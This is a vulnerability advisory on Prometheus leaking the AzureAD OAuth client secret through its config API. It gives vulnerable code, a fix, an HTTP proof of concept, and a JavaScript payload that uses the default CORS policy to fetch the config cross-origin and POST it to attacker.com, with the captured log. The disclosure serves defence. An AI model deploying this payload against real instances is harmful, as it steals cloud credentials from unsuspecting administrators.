Prometheus OAuth AzureAD Secret Leak via Config API

Product Version: Prometheus 3.11.2
Severity: High
Author: Brett Gervasoni
Date: 28 April 2026
Prometheus Advisory: https://github.com/prometheus/prometheus/security/advisories/GHSA-wg65-39gg-5wfj

The /api/v1/status/config endpoint returns the running configuration as YAML. Most credential fields use the Secret type which redacts to <secret>, but AzureAD OAuthConfig.ClientSecret uses plain string and is returned in cleartext. This is contrary to the Prometheus's security model definition.

The issue by itself is meh since Prometheus is often internal only, however when combined with the default CORS policy, the risk is real. An unsuspecting admin could browse to a domain that performs a fetch request to capture the secret.

While this bug doesn't really require as poc as the issue is fairly obvious in the yaml type struct, I've provided a poc where the default CORS policy can be used to remotely exfil this secret from an unsuspecting admin, due to defaulting to *.

Further reasoning as to why the ClientSecret is meant to be of type config.Secret

The security model states: "Fields containing secrets in configuration files (marked explicitly as such in the documentation) will not be exposed in logs or via the HTTP API."

To begin with, the /api/v1/status/config endpoint being unauthenticated is by design. The Prometheus security model presumes untrusted users have HTTP API access and guarantees that "fields containing secrets in configuration files (marked explicitly as such in the documentation) will not be exposed in logs or via the HTTP API."

The vulnerability is that ClientSecret is typed as string instead of config.Secret, defeating the redaction mechanism that makes this endpoint safe to expose. The same codebase correctly types ClientSecret as config_util.Secret in the Azure SD discovery module (discovery/azure/azure.go:113).

So this vulnerability appears to be from a trivial typo, with a trivial fix. This is not a design choice.

Required Permissions

Impact

Allows unauthenticated exfiltration of Azure AD OAuth client secrets from any network-reachable Prometheus instance using AzureAD authentication for remote write, enabling impersonation of the Prometheus service principal in Azure AD.


Vulnerable Code

AzureAD OAuthConfig — ClientSecret is string, not Secret

storage/remote/azuread/azuread.go:72-82:

type OAuthConfig struct {
	ClientID     string `yaml:"client_id,omitempty"`
	ClientSecret string `yaml:"client_secret,omitempty"`
	TenantID     string `yaml:"tenant_id,omitempty"`
}

ClientSecret is string. No MarshalYAML override. yaml.Marshal returns the value verbatim.

Secret type redaction

github.com/prometheus/[email protected]/config/config.go:

type Secret string

func (s Secret) MarshalYAML() (interface{}, error) {
	if s != "" {
		return secretToken, nil  // returns "<secret>"
	}
	return nil, nil
}

Fix

ClientSecret config_util.Secret `yaml:"client_secret,omitempty"`

If I find time, I'll PR it unless you do it before me :)

Proof of Concept

Validated against Prometheus 3.4.0 on EC2 (default config with AzureAD).

Exfiltrate the full config including cleartext credentials:

GET /api/v1/status/config HTTP/1.1
Host: <target>:9090
{
    "status": "success",
    "data": {
        "yaml": "global:\n  scrape_interval: 15s\n  ...\nremote_write:\n- url: https://example.com/api/v1/write\n  ...\n  azuread:\n    oauth:\n      client_id: 00000000-0000-0000-0000-000000000000\n      client_secret: aaaa-bbbb-cccc-dddd-my-secret\n      tenant_id: 00000000-0000-0000-0000-000000000000\n    cloud: AzurePublic\n"
    }
}

client_secret returned in cleartext.

Cross-Origin Exfiltration

Combined with the default CORS policy (defaulting to .*), any website can exfiltrate credentials cross-origin from a visitor's browser. Given this is default and Prometheus is a battle-tested product, I assume this default CORS configuration is expected and not a bug. I'm simply using it to demonstrate real world risk of the plaintext string type definition of azuread.go's OAuthConfig struct.

For example, inject this via XSS on any site or host it on your own, then send it to an unsuspecting Prometheus admin:

<script>
fetch('http://prometheus-internal-target:9090/api/v1/status/config')
  .then(r => r.json())
  .then(d => {
    // Extract AzureAD client secret from YAML
    fetch('https://attacker.com/pcollect', {
      method: 'POST',
      body: d.data.yaml
    });
  });
</script>

This works because CORS applies to all /api/v1/* routes and the default regex matches all origins. No authentication is required in the default configuration.

Response in a log:

[2026-04-16 05:45:19] POST /pcollect FROM <ip>>
> Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
> Accept-Encoding: gzip, deflate, br, zstd
...
[RAW_BODY]: global:
...
remote_write:
- url: https://example.com/api/v1/write
...
  azuread:
    oauth:
      client_id: 00000000-0000-0000-0000-000000000000
      client_secret: aaaa-bbbb-cccc-dddd-my-secret
      tenant_id: 00000000-0000-0000-0000-000000000000
    cloud: AzurePublic

CORS Default Settings:

cmd/prometheus/main.go:467:

a.Flag("web.cors.origin", `Regex for CORS origin. It is fully anchored. Example: 'https?://(domain1|domain2)\.com'`).
  Default(".*").StringVar(&cfg.corsRegexString)